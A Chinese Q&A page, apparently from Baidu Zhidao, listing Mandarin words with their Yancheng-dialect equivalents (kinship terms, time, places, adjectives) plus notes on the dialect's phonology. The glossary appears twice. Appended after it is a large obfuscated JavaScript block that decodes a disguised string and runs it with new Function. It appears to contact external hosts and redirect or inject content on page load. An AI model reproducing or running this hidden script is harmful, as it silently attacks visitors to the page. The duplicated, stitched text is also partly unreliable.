推荐回答（2个）
代词
我—我（通常念作“ng”音）
别人—人家（“人”念“len” “家”念作“ga”）
外婆－外父奶奶 婆奶奶
外公－外父爹爹 婆爹爹（“爹”念“dia”一声）
爷爷－爹爹
爸爸－爷
妈妈－妈
姑姑－㚴
姑爷－姑伯（”伯“通常念作/bei/（英语音标））
某伯父，某叔父－某爷（大爷 二爷 三爷等）
继母—晚娘，后妈
姨妈－姨娘，娘娘
孩子－细小的，小把戏
男孩—小伙
女孩－闺娘
丈夫－男将
妻子－女将
岳父：老丈人
岳母：丈母娘
名词
时间
今天－今个（gèn ge），今朝（gèn ze）
明天－明个（mén ge），明朝（mén ze）
后天－后个，后朝
昨天－昨个（zā ge）
前天－前个（qí ge）
现在—而今（o gèn）
以前—朝日个，老早，打头
以后－后头
刚才－将么才
原先—先头
深夜―夜里，夜头，夜里头（“夜”通常念作“ya”音）
时候—辰光，辰况
上午—早上
中午—中上
清晨—五更头，大清早
星期—礼拜
节曰—节客
时间—钟头
除夕—三十晚上
晚了—晏了（晏读“an”)
地理
河岸-浜岸 河浜
泥块－烂泥砝头
城里－街上
农村—乡下
如薄雾状的雨-蒙蒙雨，毛毛雨
冰锥-叮咙当子 、冻铃铛
磁铁-吸铁石
巢—窟
蒸汽凝结之水-呵气水
池塘：水塘
方位
南边－南头
东边－东头
西边－西头
北边－北头
对面－对过
这里－这块
那里－那块，那搭
哪里—哪块，哪搭
周围－团路
里面－里头
外面—外头
地方－落头
面前-跟前
身体部位
脖子—颈
头部—脑勺子，脑壳子
手臂—膀子
其他
硬币—铅角子，钱（kan）多多
香菜—盐（yi）须
淘米盆—淘米洛子
形容词
很（表程度）—挺......，透......，蛮......
像—qiang
得意－神气六国（“六”、“国”通常念作“lo”“go”）
快点—飕冽兮
慢点—定当兮
精明－尖说
捣蛋的－蛇皮吊歪
厚脸皮－厚皮脸
下流－下作
粗－奘（zuang,第三声）
凉快－凉阴
做事稳重－逸当，逸逸当当，定而当之
瓜太熟－（义）
薄，稀－（肖）
瞎扯蛋－瞎扯蛮（“瞎”念“hai”四声）
不讲理-蛮
勤劳－勤力
火旺－炀
一点儿－（旮gao旮），（旮旮）点
规矩的样子－恩正 格格正正
径直－直刺
非常脏－邋杂，za死了
调皮的样子－猴形，捣蛋鬼
非常黑－乌七抹黑，乌黑
非常疼－甚疼
做的好－雪滑
假惺惺地－假（马拉）鬼
努力干—勤累
吃力－费神 （吃神）
平定下来－安稳下来
热闹－热嘈
擅长-拿手
很瘦，很细－精瘦，精细
瘦－没膘
奸诈－阴（兹）阴（兹）的
烦躁－雾躁
淘气－犯嫌 （皮）
滑的很－滑不（次）溜
滑－（次）
过度兴奋的－人来疯
很甜－稀甜
很苦－稀苦
很，非常－稀
专门－特地
整齐-周正
水沸腾-滚开，水透了
豪爽-爽气
脾气倔-犟
太咸了-（含）、（齁）
方便-便当
坚固-牢靠
脸熟-面熟
脸生-面生
一模一样—一式一道
不一样—两样
赏脸—把面子
蛮横—斜（qia,第二声）
变态的样子—死色
人小鬼大—活鬼
非常害羞，怕生—没（“么”音）脸纱
小孩像大人一样老道老成—老嘎嘎的
喜欢出去玩—野（读ya）摸（星）
没精打采—眯（弓搭兹）
扩展资料：
盐城话语音特点：
盐城音系有明显的洪巢方言和通泰方言的过渡地带特征，或认为历史上曾经是通泰方言的一部分。
声母18个：分清n\l，其余皆与扬州话同。
全浊上和全浊去字大约有1/5左右有送气和不送气文白两读。
例如：“病”——“病[pi?]院”[文]/“发病[p'i?]”[白]。
韵母48个：盐城话除具有咸山摄三分、保留入声韵尾[?]等江淮话普遍韵母特征外，还具有部分韵母阴阳声韵合流的特点：即阳声韵韵尾弱化、阴声韵鼻化皆变成鼻化韵，两者之间产生交叉关系。
参考资料来源：百度百科-盐城方言
前者为普通话词汇，后者为盐城话词汇，均用正字表示，盐城话待考正字用括号标出！本段词汇以盐城市区（老城区6街道）为基准，兼顾老盐城县范围（今亭湖区，盐都区）内的词汇。请周边县市地区的朋友不要随便修改，更不能用音译字代替正确汉字。欢迎盐城市区（老城区6街道）以及老盐城县的老乡们补充完整。 我—我、吾（通常念作“ng”音）
别人—人家，人个（“人”念“nen” “家”念作“ga”）
外婆－外父奶奶 婆奶奶
外公－外父爹爹 婆爹爹（“爹”念“嗲”一声）
爷爷－爹爹
爸爸－爷
妈妈－妈
姑姑－㚴
姑爷－姑伯（”伯“通常念作/bei/（英语音标））
某伯父，某叔父－某爷（大爷 二爷 三爷等）
继母—晚娘，后妈
姨妈－姨娘，娘娘
孩子－细小的，小把戏
男孩—小伙
女孩－闺娘
丈夫－男将
妻子－女将
岳父：老丈人
岳母：丈母娘 时间
今天－今个（gèn ge），今朝（gèn ze）
明天－明个（mén ge），明朝（mén ze）
后天－后个，后朝
昨天－昨个（zā ge）
前天－前个（qí ge）
现在—而今（o gèn）
以前—朝日个 老早 打头
以后－后头
刚才－将么才
原先—先头
深夜―夜里，夜头，夜里头（“夜”通常念作“ya”音）
上午—早上
中午—中上
清晨—五更头，大清早
星期—礼拜
节曰—节客
时间—钟头
除夕—三十晚上
地理
河岸-浜岸 河浜
泥块－烂泥砝头
城里－街上
农村—乡下
如薄雾状的雨-蒙蒙雨
冰锥-叮咙当子 、冻铃铛
磁铁-吸铁石
巢—窟
蒸汽凝结之水-呵气水
池塘：水塘
方位
南边－南头
东边－东头
西边－西头
北边－北头
对面－对过
这里－这块
那里－那块，那搭
哪里—哪块，哪搭
周围－团路
里面－里头
外面—外头
地方－落头
面前-跟前
身体部位
脖子—颈
头部—脑勺子，脑壳子
手臂—膀子
其他
硬币—铅角子
香菜—盐碎 很（表程度）—挺......，透......，蛮......
得意－神气六国（“六”、“国”通常念作“lo”“go”）
快点—飕冽兮
慢点—定当兮
精明－尖说
捣蛋的－蛇皮吊歪
厚脸皮－厚皮脸
下流－下作
粗－奘（zuang,第三声）
凉快－凉阴
做事稳重－逸当，逸逸当当，定而当之
瓜太熟－（义）
薄，稀－（肖）
瞎扯蛋－瞎扯蛮（“瞎”念“hai”四声）
不讲理-蛮
勤劳－勤力
火旺－炀
一点儿－（旮旮），（旮旮）点
规矩的样子－恩正 格格正正
径直－直刺
非常脏－邋杂 （邋遢）
调皮的样子－猴形，捣蛋鬼
非常黑－乌七抹黑，乌黑
非常疼－甚疼
做的好－雪滑
假惺惺地－假（马拉）鬼
努力干—勤累
吃力－费神 （吃神）
平定下来－安稳下来
热闹－热嘈
擅长-拿手
很瘦，很细－精瘦，精细
瘦－没膘
奸诈－阴（兹）阴（兹）的
烦躁－雾躁
淘气－犯嫌 （皮）
滑的很－滑不（次）溜
滑－（次）
过度兴奋的－人来疯
很甜－稀甜
很苦－稀苦
很，非常－稀
专门－特地
整齐-周正
水沸腾-滚开
豪爽-爽气
脾气倔-犟
太咸了-（含）、（齁）
方便-便当
坚固-牢靠
脸熟-面熟
脸生-面生
一模一样—一式一道
不一样—两样
赏脸—把面子
蛮横—斜（qia,第二声）
变态的样子—死色
!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();
